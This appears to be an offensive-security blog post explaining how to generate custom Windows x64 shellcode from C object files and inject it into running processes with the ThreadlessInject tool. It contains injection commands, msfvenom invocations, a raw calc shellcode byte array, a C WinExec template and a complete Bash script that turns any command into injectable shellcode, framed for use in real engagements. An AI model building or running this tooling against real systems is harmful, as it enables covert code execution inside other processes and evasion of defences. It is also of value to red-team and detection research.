In this blog I will describe a way to automate generation of Position Independent Shellcodes from object files in memory (by @NinjaParanoid) to be used in Threadless Process Injection (by @_EthicalChaos_).

banner.png

Function Stomping / Threadless Injection

One of the items from my endless TODO-list that I never crossed out was the topic of Function Stomping by Ido Veltzman. Luckily, Ceri Coburn presented an awesome research on Threadless Process Injection accompanying a ready-to-use injector in C# which made me get back to that long-forgotten TODO.

Pop-the-Calc Shellcode

While playing with ThreadlessInject and porting it to the DInvoke API, one of the obvious desires of mine was to test it with a different shellcode. As a Proof-of-Concept Ceri provides a classic Pop-the-Calc shellcode which works smoothly but may not be enough during a real engagement:

PS > $notepadId = (Start-Process notepad -PassThru).Id; .\ThreadlessInject.exe -p $notepadId -d kernel32.dll -e OpenProcess

threadless-inject-calc.png

Hackers looove popping calcs!

Well, what will a hacker do to generate a shellcode? Summon msfvenom, of course:

~$ msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o msf-calc.bin

Providing the msf-calc.bin shellcode to ThreadlessInject.exe with -x option expectedly results in exiting the target process after calc has been spawned:

PS > $notepadId = (Start-Process notepad -PassThru).Id; .\ThreadlessInject.exe -x .\msf-calc.bin -p $notepadId -d kernel32.dll -e OpenProcess

threadless-inject-msf.gif

Unwanted termination of parent process with MSF shellcode

Changing the EXITFUNC= option during the generation process doesn’t seem to be helpful:

~$ msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=none -f raw -o msf-calc-none.bin
~$ msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=process -f raw -o msf-calc-process.bin
~$ msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f raw -o msf-calc-thread.bin

It’s a known thing that MSF-exec payloads are better to be started from a fresh thread ‘cause the shellcode doesn’t treat the stack gently. Furthermore, a hint about the required shellcode behavior is kindly left by the author of ThreadlessInject in the comments:

// x64 calc shellcode function with ret as default if no shellcode supplied
static byte[] x64 = {
    0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
    0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
    0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
    0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
    0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
    0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
    0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
    0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
    0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3 };

That is to say, the ret instruction should be supplied when the shellcode’s job is done in order to return the execution flow back to the caller (i. e., the assembly stub) as well as proper stack alignment should be performed with registers preserved. So let’s take a look at both shellcodes side-by-side with objdump.

pop-the-calc-comparison.png

Comparing calc shellcodes

As we can see no ret is observed within the MSF shellcode… Dunno whether the dynamic way of MSF generator puts the CMD= value onto the stack (via that call rbp instruction) does also negatively impacts our situation but we definitely don’t get desired behavior – the parent process dies.

So what can we do about it?

Where’s the Detonator Generator?

Honestly, I don’t know any other FOSS shellcode generator besides msfvenom so I started to google :man_shrugging: Btw, the builtin default shellcode for ThreadlessInject is as old as time and can be found in numerous GitHub repos and gists.

Among other things, I considered the following options:

  • Look for less-known open source shellcode generators for Windows x64 – failed due to a total lack of them (though win-x86-shellcoder seems to be a nice project for x86).
  • Use an existing Pop-the-Calc .asm file as template for generating a WinExec shellcode with an arbitrary argument (OS command) – failed due to me being lazy. Good examples of such ‘static’ calc shellcodes (with a static lpCmdLine argument for WinExec) are win-exec-calc-shellcode and x64win-DynamicNoNull-WinExec-PopCalc-Shellcode by Bobby Cooke.
  • Play with popular PE → shellcode techniques like sRDI, donut, pe_to_shellcode, etc.

While testing the 3rd option I came along this terrific article by @KlezVirusFrom Process Injection to Function Hijacking – which covers Function Stomping topic in great depth (one more blogpost in my TODOs).

As I was looking for a quick example to be used with ThreadlessInject, my attention was caught by one of the references to another blog of maldev magician Chetan NayakExecuting Position Independent Shellcode from Object Files in Memory – which we shall focus on further.

:information_source: The same technique is used by Aleksandra Doniec in pe_to_shellcode and by @KlezVirus in inceptor.

PIC from Object Files

In his blog Chetan provides a way to build a C function with a small assembly stub for proper stack alignment and returning to the caller gracefully.

In order to make sure that our shellcode is always stack aligned, we will write a small assembly stub which will align the stack and call our C function which would act as our entrypoint. We will convert this assembly code to an object file which we will later link to our C source code. – Chetan Nayak (@NinjaParanoid)

bruteratel-alignstack.png

alignstack assembly stub (bruteratel.com)

With the ability to dynamically resolve exported symbols of WinExec (which resides within kernel32.dll) we can extract the opcodes from the compiled binary and use them as a Position Independent shellcode. That’s exactly what we need!

I shall git clone his demo repository and write a template to execute a command of my choice using WinExec based on the given example of constructing the getprivs function:

// template.c

#include "addresshunter.h"
#include <stdio.h>

typedef UINT(WINAPI* WINEXEC)(LPCSTR, UINT);

void exec() {
    UINT64 kernel32dll;
    UINT64 WinExecFunc;

    kernel32dll = GetKernel32();

    CHAR winexec_c[] = {'W','i','n','E','x','e','c', 0};
    WinExecFunc = GetSymbolAddress((HANDLE)kernel32dll, winexec_c);

    CHAR cmd_c[] = {'<CMD>', 0};
    ((WINEXEC)WinExecFunc)(cmd_c, <SHOWWINDOW>);
}

Then with a bit of Bash automation we get a working alternative for the MSF windows/x64/exec CMD= -f raw payload generator:

#!/usr/bin/env bash

# Usage:
#   generate.sh <CMD> <SHOWWINDOW>
# Examples:
#   generate.sh 'calc.exe' 10
#   generate.sh 'cmd /c "whoami /all" > C:\Windows\Tasks\out.txt' 0

CMD="${1}"
SHOWWINDOW="${2}"  # https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow

CMD=`echo "${CMD}" | grep -o . | sed -e ':a;N;$!ba;s/\n/\x27,\x27/g'`
CMD="${CMD//\\/\\\\\\\\}"

cat template.c | sed "s#<CMD>#${CMD}#g" | sed "s#<SHOWWINDOW>#${SHOWWINDOW}#g" > exec.c
#cat exec.c | grep cmd_c

nasm -f win64 adjuststack.asm -o adjuststack.o

x86_64-w64-mingw32-gcc exec.c -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o exec.o -Wl,-Tlinker.ld,--no-seh

x86_64-w64-mingw32-ld -s adjuststack.o exec.o -o exec.exe

echo -e `for i in $(objdump -d exec.exe | grep "^ " | cut -f2); do echo -n "\x$i"; done` > exec.bin

if [[ -f exec.bin ]]; then
    echo "[*] Payload size: `stat -c%s exec.bin` bytes"
    echo "[+] Saved as: exec.bin"
fi

rm exec.exe exec.o exec.c adjuststack.o

Generate and execute:

~$ ./generate.sh 'cmd /c "whoami /all" > C:\Windows\Tasks\out.txt' 0
[*] Payload size: 640 bytes
[+] Saved as: exec.bin

threadless-inject-exec.png

Execution of the customly generated shellcode

Happy hacking!

References